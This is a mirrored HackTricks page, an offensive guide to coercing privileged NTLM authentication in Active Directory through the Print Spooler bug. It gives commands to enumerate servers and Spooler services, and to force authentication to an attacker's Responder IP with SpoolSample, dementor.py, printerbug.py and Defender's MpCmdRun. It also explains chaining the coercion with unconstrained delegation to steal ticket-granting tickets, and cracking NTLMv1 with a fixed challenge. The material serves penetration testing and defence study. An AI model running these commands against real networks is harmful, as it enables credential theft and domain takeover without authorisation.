mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-07 02:38:54 +00:00
63 lines
3 KiB
Markdown
63 lines
3 KiB
Markdown
# Force NTLM Privileged Authentication
|
||
|
||
## Spooler Service Abuse
|
||
|
||
If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request **to the Domain Controller’s print server an **update **on new print jobs and just tell it to **send the notification to some system**.\
|
||
Note when printer send the notification to an arbitrary systems, it needs to **authenticate against **that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
|
||
|
||
### Finding Windows Servers on the domain
|
||
|
||
Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
|
||
|
||
```bash
|
||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||
```
|
||
|
||
### Finding Spooler services listening
|
||
|
||
Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening:
|
||
|
||
```bash
|
||
. .\Get-SpoolStatus.ps1
|
||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||
```
|
||
|
||
You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol
|
||
|
||
```bash
|
||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||
```
|
||
|
||
### Ask the service to authenticate against an arbitrary host
|
||
|
||
You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||
|
||
```bash
|
||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||
```
|
||
|
||
or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux
|
||
|
||
```bash
|
||
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
||
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||
```
|
||
|
||
### Combining with Unconstrained Delegation
|
||
|
||
If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT **of the **computer account of the printer** will be **saved in** the **memory **of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it ([Pass the Ticket](pass-the-ticket.md)).
|
||
|
||
## Inside Windows
|
||
|
||
If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
|
||
|
||
### Defender MpCmdRun
|
||
|
||
```bash
|
||
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
||
```
|
||
|
||
## Cracking NTLMv1
|
||
|
||
If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack).\
|
||
_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
|